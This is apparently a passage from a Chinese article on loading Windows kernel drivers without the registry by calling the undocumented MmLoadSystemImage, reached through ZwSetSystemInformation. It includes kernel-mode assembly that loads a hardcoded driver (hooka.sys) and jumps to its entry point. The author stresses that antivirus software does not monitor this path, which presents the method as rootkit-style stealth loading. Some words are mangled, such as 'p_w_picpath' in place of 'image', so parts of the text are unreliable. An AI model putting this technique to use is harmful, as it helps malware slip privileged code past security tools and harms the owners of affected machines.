第二种方法如下:

一般情况下win2000启动后会开始加载特别的驱动win2k.sys。然而它并不是以其他驱动那样调用函数ZwLoadDriver, NtLoadDriver等。
事实上它是通过内核API函数ZwSetSystemInformation载入的。
API通常用来设置类似文件分卷等系统信息,以及加载上面提到的驱动,文件缓存等等。

该函数调用方法如下:

ZwSetSystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
                                                                                                  //
识别操作指令
IN PVOID SystemInformation,         //
识别操作数
IN ULONG SystemInformationLength ) //
识别数据长度

其内部调用方法如下:

Switch (SystemInformationClass)
                      Case 0:
                      
                      Case 1:
                      .
                      .
                      .
                      Case 5:     ;this actually extends the system service descrīptor table
                               .
                               .
                       .           
                               MmLoadSystemImage(SystemInforMation,NULL,NULL,TRUE,p_w_picpathhandle,baseaddress);
                               
                               call entrypoint(driverobject,NULL)   ;
                               
                               break     ; 
                         case 6:      
                        .
                        .
                        .
                        .
                        .


上述的两种方法是我们现在已知的两种加载驱动的方式。

下面是第三种方式(针对该方法目前没有防毒措施对其进行监控因此它将是安全的)

像上面所讲的那样,ZwSetSystemInfomation加载镜像函数从而将驱动载入内存然后调用它的入口点。

现在我们将具体地分析MmLoadSystemImage函数的参数。

MmLoadSystemImage(UNICODE STRING Imagepath, UNICODE STRING prefix optional,UNICODE STRING basename optional,
                      ULONG unknown=0,PVOID p_w_picpathhandle,PVOID baseaddress);

ImagePathwindows下的路径
prefix
:用在载入驱动的路径名前
basename
:系统在加载组件后显示的名称
unknown
:未知
*p_w_picpathhandle
:段指针(这是已经被提交的)
*baseaddress
:镜像载入内核内存后的地址

该函数实际上就是扮演着加载镜像入驱动,解决导入等的一些问题的角色。

在对windows平台下进行调试的过程中,你可以找出使用d MmLoadSystemImage字段函数的地址。

注意:MmLoadSystemp_w_picpath在将镜像载入内存后会继续内部调用和检查镜像,所以我们必须保证检查后的结果是正确的。这个过程由MiCheckSystemImage实现。实现导入工作以及加载附属的则是依靠函数MiResolveImageReferences来完成。

函数MmloadSystemp_w_picpath按照如下流程工作:

1)扫描存在的组件清单以确保它已经被载入
2)
如果镜像已经存在,则返回错误,提示镜像已经存在
3)
尝试使用函数Zwopenfile打开文件,如果文件不能被打开,则返回错误代码
4)
计算镜像的检查结果并将其与储存在头文件里的结果进行比较
5)
如果不相符则返回错误
6)
使用函数Zwcreatesection建立一个段然后将其作为参考
7)
使用函数mMapViewInSystemSpace给其指定内核空间
8)
在必要的时候使用LdrRelocateImage对镜像进行重定向
9)
调用用函数MiResolveImageReferences对镜像参考
10)
为组件建立已加载组件清单
11)
给其加上写保护
12)
关闭文件指针
13)
返回


现在我们有了一个加载镜像的函数,但是调用驱动的入口问题却没有解决。我们可以从载入镜像后的PE头文件自身那里找到相关信息。这个方法可以用来直接在内核中加载和执行驱动,本地应用程序等。

下面给出的是内核下的汇编代码。在windowsXP SP0 英文版下测试通过。在理论上也可以在win2000,xp,2003下执行。


__asm {
               
               
               ;
下面的代码将驱动载入内存
loaddriver:
        mov dword [Stack],esp               //save stack
        
        ;paramters as always are passed in reverse
        push DWORD Driverbase              ;
存储驱动基址
        push DWORD ImageHandle             ;
存储段指针
        push dword 0               
        push dword 0
        push dword 0
        push DWORD U_STRINGloc              ;
指向一个unicode字串 ,包括将要加载的驱动


        mov edi, 0x805c03ae       ;MmLoadSystemImage
函数的地址,在Win XP SP0英文版下随着操作系统版本不同这一地址将发生变化
        call edi
        cmp eax,0                 ;
检查驱动是否成功载入内存
        jne   drivernotloaded    ;
如果失败,则直接退出
        
         ;
驱动载入后 调用其内置函数,所有参数置零
        mov DWORD edi, [Driverbase]
        mov DWORD ebx ,[edi + 0x3c]      ;
获取optional header的偏移量
        mov dword ebx,[edi + ebx + 0x18 + 0x10]   ;
从代码基址中获取入口地址的偏移量    
        add edi ,ebx                        ;
将基址和偏移量相加,得到入口点内存中的物理地址
        push 0 ;
        push 0
        call edi ;call entry point     (
驱动入口点,驱动不同入口点将有变化)


        drivernotloaded:
        mov dword esp,[ Stack]            ;
纠正堆栈使得可以继续执行
        
        ret


       
       ;
下面是各种所需的代码数据
      

; 下面是将要加载的驱动的路径

;DosDevices@:hooka.sys length 48
db 0x5c,0x00,0x44,0x00,0x6f,0x00,0x73,0x00,0x44,0x00,0x65,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x5c,0x00
db 0x42,0x00,0x3a,0x00,0x5c,0x00,0x68,0x00,0x6f,0x00,0x6f,0x00,0x6b,0x00,0x61,0x00,0x2e,0x00,0x73,0x00,0x79,0x00,0x73,0x00,0x00,0x00

;储存驱动基址
Driverbase:
dd 0
;
储存段指针
ImageHandle:
dd 0;

;储存堆栈地址
Stack:
dd 0

;在内存中构建 unicode字串
struc U_STRING
Length: resw 1
MaximumLength: resw 1
Buffer: resd 1
endstruc

}

//汇编结束


注意:这些API函数并不是由windows操作系统的内核导出的,但他们确实有内核方面的用途。这些函数并没有被任何反病毒软件监控,所以它们可以用来加载驱动或者本地应用程序然后运行。

这就是我们所说的在内核模式下不通过注册表加载驱动的方式,当然,这些代码可能存在一些错误,但是目前为止还没有发现硬件上的错误